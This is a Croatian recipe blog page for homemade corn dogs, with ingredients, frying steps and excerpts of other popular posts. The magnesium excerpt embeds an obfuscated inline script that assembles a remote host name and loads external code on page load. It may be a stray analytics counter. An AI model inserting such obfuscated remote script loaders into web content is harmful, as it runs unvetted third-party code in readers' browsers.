DOMAĆI CORN DOG





Domaći corn dog 




Postoje snackovi koji su toliko povezani s određenim mjestom i atmosferom da ih je gotovo nemoguće odvojiti od tog doživljaja. Corn dog je upravo jedan od njih. Ovaj američki klasik nezaobilazan je dio sajmova, festivala i street food kulture SAD-a, a njegova popularnost posljednjih godina ponovno raste zahvaljujući društvenim mrežama i modernim reinterpretacijama.





Domaći corn dog 


Sastojci:

  • 6 hrenovki ili kobasica
  • 6 drvenih štapića
  • 120 g kukuruznog brašna
  • 100 g glatkog brašna
  • 1 žlica šećera
  • 1 žličica praška za pecivo
  • 1/2 žličice soli
  • 1 jaje
  • 180 ml mlijeka
  • ulje za prženje



Priprema:

  • Hrenovke dobro osušite papirnatim ubrusom i nabodite ih na drvene štapiće. Važno je da budu suhe kako bi se tijesto bolje primilo.
  • U zdjeli pomiješajte kukuruzno brašno, glatko brašno, šećer, prašak za pecivo i sol. U drugoj zdjeli umutite jaje i mlijeko, pa tu smjesu dodajte suhim sastojcima. Miješajte dok ne dobijete gusto, glatko tijesto – dovoljno gusto da se zadrži na kobasici.
  • Tijesto ulijte u visoku čašu ili posudu kako biste lakše umakali corn dogove.
  • U dubokoj posudi zagrijte ulje na srednje jaku temperaturu. Svaku kobasicu umočite u tijesto, ravnomjerno je obložite i odmah pažljivo stavite u vruće ulje.
  • Pržite nekoliko minuta, okrećući, dok ne dobiju zlatno-smeđu boju i hrskavu koricu.
  • Izvadite ih na papirnati ubrus kako bi upili višak ulja.
  • Corn dogove poslužite tople, uz kečap, senf ili omiljeni umak. Po želji ih možete posuti i malo šećera u prahu za zanimljivu slatko-slanu kombinaciju.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više